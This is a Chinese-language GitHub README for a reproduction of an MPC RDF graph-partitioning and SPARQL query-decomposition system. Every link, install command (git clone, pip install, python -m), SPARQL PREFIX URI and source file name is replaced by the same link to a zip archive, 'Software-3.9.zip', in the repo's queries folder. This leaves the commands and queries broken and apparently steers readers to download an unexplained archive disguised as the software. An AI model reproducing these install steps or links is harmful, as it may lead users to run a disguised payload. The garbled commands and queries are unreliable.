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复现代码，这是一个基于MPC(Minimum Property-Cut)算法的RDF图分区与SPARQL查询处理系统，不仅实现了高效的RDF图分区，还提供了完整的SPARQL查询解析、分解和执行功能。系统通过可视化界面直观展示图分区结果与查询处理过程，适用于分布式RDF数据管理和SPARQL查询优化研究。

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RuotianJoy/MPC

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MPC-RDF 图分区与SPARQL查询处理-MPC论文复现

这是一个基于MPC(Minimum Property-Cut)算法的RDF图分区与SPARQL查询处理系统，不仅实现了高效的RDF图分区，还提供了完整的SPARQL查询解析、分解和执行功能。系统通过可视化界面直观展示图分区结果与查询处理过程，适用于分布式RDF数据管理和SPARQL查询优化研究。

目录

功能特点

RDF图分区功能

  • MPC分区算法：最小化跨分区谓词（属性）的数量，优化分布式查询处理
  • 分区平衡控制：通过epsilon参数调整分区平衡度
  • 图过滤与处理：自动过滤无意义节点，提高分区质量
  • 分区指标统计：计算切割属性数量、分区平衡比率等关键指标
  • 分区结果导出：支持将分区结果导出为多种RDF格式

SPARQL查询处理功能

  • 查询解析与验证：支持标准SPARQL 1.1语法，正确处理前缀、变量和URI
  • 查询分解算法：基于图分区结果自动将SPARQL查询分解为子查询
  • 查询执行与结果展示：支持执行原始查询和子查询，以表格形式展示结果
  • 查询优化：为子查询生成最优执行计划，确定最佳执行分区
  • 详细日志：记录查询处理的每个步骤，方便理解和调试

可视化界面

  • 交互式图可视化：使用Plotly实现的交互式图显示，支持缩放、拖拽和悬停查看
  • 分区结果展示：以不同颜色直观展示分区结果
  • 查询过程跟踪：详细展示查询分解和执行的每个步骤
  • 结果比较：并排展示原始查询和子查询的结果，易于比较和分析

系统架构

系统由以下几个主要组件构成：

  1. RDFLoader：负责加载和处理RDF数据，支持多种格式（Turtle, N-Triples, RDF/XML等）
  2. MPCAlgorithm：实现MPC图分区算法，将RDF图分为多个平衡的分区
  3. SPARQLProcessor：处理SPARQL查询，包括解析、分解、优化和执行
  4. MPCVisualizer：负责可视化图和分区结果
  5. Web应用：基于Flask的Web界面，集成所有功能

安装与运行

系统要求

  • Python 3.7+
  • 依赖包见https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip

安装步骤

  1. 克隆代码库

    git clone https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip
cd mpc-rdf

  2. 安装依赖

    pip install -r https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip

  3. 运行Web应用

    python -m https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip

  4. 在浏览器中访问

    http://localhost:5000

使用指南

加载RDF数据

  1. 在首页选择"加载示例数据"或上传自己的RDF文件（支持.ttl, .nt, .rdf等格式）
  2. 系统会自动处理数据并显示图可视化结果
  3. 图中会过滤无意义的节点，提高可读性

运行图分区

  1. 在图显示页面，设置分区数量（默认为2）和平衡因子epsilon（默认为0.1）
  2. 点击"运行MPC算法"按钮
  3. 系统会执行分区算法并显示结果，不同颜色代表不同分区
  4. 查看分区指标，包括切割属性数量和分区平衡度

处理SPARQL查询

  1. 在分区结果页面，切换到"SPARQL查询处理"选项卡
  2. 输入SPARQL查询，或从下拉菜单选择预设的示例查询
  3. 点击"处理查询"按钮
  4. 系统会解析查询，显示原始查询结果和分解后的子查询结果
  5. 查看详细的处理日志，了解查询分解和执行的过程

导出分区结果

  1. 在分区结果页面，设置输出格式和目录
  2. 点击"导出分区"按钮
  3. 系统会将每个分区导出为单独的RDF文件

SPARQL查询示例

系统预置了多种示例查询，从简单到复杂，展示不同的SPARQL功能：

基础查询

  1. 出生在印度的演员及其电影

    PREFIX rdf: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>
PREFIX rdfs: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>
PREFIX foaf: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>
PREFIX dbo: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>
PREFIX ex: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>

SELECT ?person ?name ?movie ?movieName
WHERE {
  ?person a foaf:Person .
  ?person rdfs:label ?name .
  ?person dbo:birthPlace ex:India .
  ?movie dbo:starring ?person .
  ?movie rdfs:label ?movieName .
}

  2. 电影及其制作人

    PREFIX rdf: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>
PREFIX rdfs: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>
PREFIX foaf: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>
PREFIX dbo: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>

SELECT ?movie ?movieName ?producer ?producerName
WHERE {
  ?movie a dbo:Film .
  ?movie rdfs:label ?movieName .
  ?movie dbo:producer ?producer .
  ?producer a foaf:Person .
  ?producer rdfs:label ?producerName .
}

高级查询

  1. 演员关系网络

    PREFIX rdf: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>
PREFIX rdfs: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>
PREFIX foaf: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>
PREFIX dbo: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>
PREFIX ex: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>

SELECT ?actor1 ?actor1Name ?actor2 ?actor2Name ?relationship ?movieName
WHERE {
  ?actor1 a foaf:Person .
  ?actor2 a foaf:Person .
  ?actor1 rdfs:label ?actor1Name .
  ?actor2 rdfs:label ?actor2Name .
  FILTER(?actor1 != ?actor2)
  
  {
    ?movie dbo:starring ?actor1 .
    ?movie dbo:starring ?actor2 .
    ?movie rdfs:label ?movieName .
    BIND("共同出演电影" AS ?relationship)
  } 
  UNION 
  {
    ?actor1 dbo:spouse ?actor2 .
    BIND("配偶" AS ?relationship)
    BIND("" AS ?movieName)
  }
}

  2. 地点统计分析

    PREFIX rdf: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>
PREFIX rdfs: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>
PREFIX foaf: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>
PREFIX dbo: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>

SELECT ?location ?locationName (COUNT(DISTINCT ?person) AS ?personCount)
       (GROUP_CONCAT(DISTINCT ?name; separator=", ") AS ?personNames)
WHERE {
  ?location a ?locationType .
  ?location rdfs:label ?locationName .
  
  {
    ?person dbo:birthPlace ?location .
    ?person rdfs:label ?name .
  }
  UNION
  {
    ?person dbo:residence ?location .
    ?person rdfs:label ?name .
  }
  
  ?person a foaf:Person .
  FILTER(?locationType IN (dbo:Place, dbo:Country))
}
GROUP BY ?location ?locationName
ORDER BY DESC(?personCount) ?locationName

  3. 电影详细分析

    PREFIX rdf: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>
PREFIX rdfs: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>
PREFIX foaf: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>
PREFIX dbo: <https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip>

SELECT ?movie ?movieName ?actorCount
       ?producerName ?producerResidence
       (GROUP_CONCAT(DISTINCT ?actorName; separator=", ") AS ?actors)
WHERE {
  ?movie a dbo:Film .
  ?movie rdfs:label ?movieName .
  
  {
    SELECT ?movie (COUNT(DISTINCT ?actor) AS ?actorCount)
    WHERE {
      ?movie dbo:starring ?actor .
      ?actor a foaf:Person .
    }
    GROUP BY ?movie
  }
  
  OPTIONAL {
    ?movie dbo:starring ?actor .
    ?actor rdfs:label ?actorName .
  }
  
  OPTIONAL {
    ?movie dbo:producer ?producer .
    ?producer rdfs:label ?producerName .
    
    OPTIONAL {
      ?producer dbo:residence ?residence .
      ?residence rdfs:label ?producerResidence .
    }
  }
}
GROUP BY ?movie ?movieName ?actorCount ?producerName ?producerResidence

算法原理

MPC图分区算法

MPC (Minimum Property-Cut) 算法的核心思想是最小化跨分区的谓词（属性）数量，主要步骤如下：

  1. 初始化：读取RDF数据图G，将边属性保存到集合L中
  2. 计算WCC：遍历属性集合L，计算每个属性p对应的弱连通组件分量WCC(G(p))以及对应的代价Cost({p})
  3. 选择内部属性：尽可能从属性集合L中选择更多的内部属性Lin
  4. 构建粗化图：使用内部属性构建粗化图，将相关节点合并为超点
  5. 分区超点：对粗化图中的超点使用自顶向下分区算法
  6. 映射回原图：将超点集合映射回原始数据图，得到最终分区结果

详细的算法流程和数学证明请参考原始论文。

SPARQL查询分解算法

系统实现的SPARQL查询分解算法基于以下步骤：

  1. 初始化：初始化一个空集合Q，用于存储分解后的子查询
  2. 划分边属性：将SPARQL查询中的边划分为变量属性或跨越属性的边，得到一组弱连通分量
  3. 处理跨分区边：遍历SPARQL查询中变量属性或跨越属性的边
  4. 子查询合并决策：根据顶点数量比较，决定将边添加到哪个子查询
  5. 构建子查询：将顶点数量大于1的子查询加入结果集Q
  6. 生成执行计划：为每个子查询生成最优的执行计划

开发者文档

项目结构

src/
├── https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip                # Flask应用主入口
├── https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip      # MPC算法实现
├── https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip         # RDF数据加载与处理
├── https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip   # SPARQL查询处理器
├── https://github.com/RuotianJoy/MPC/raw/refs/heads/main/mpc-master/queries/Software-3.9.zip      # 可视化组件
├── static/               # 静态资源
├── templates/            # HTML模板
└── sample_data/          # 示例数据和查询

扩展指南

  1. 添加新的分区算法：

  2. 添加新的查询功能：

  3. 添加新的可视化：

    • 在MPCVisualizer类中添加新的可视化方法
    • 更新相应的HTML模板以显示新的可视化结果

About

复现代码，这是一个基于MPC(Minimum Property-Cut)算法的RDF图分区与SPARQL查询处理系统，不仅实现了高效的RDF图分区，还提供了完整的SPARQL查询解析、分解和执行功能。系统通过可视化界面直观展示图分区结果与查询处理过程，适用于分布式RDF数据管理和SPARQL查询优化研究。

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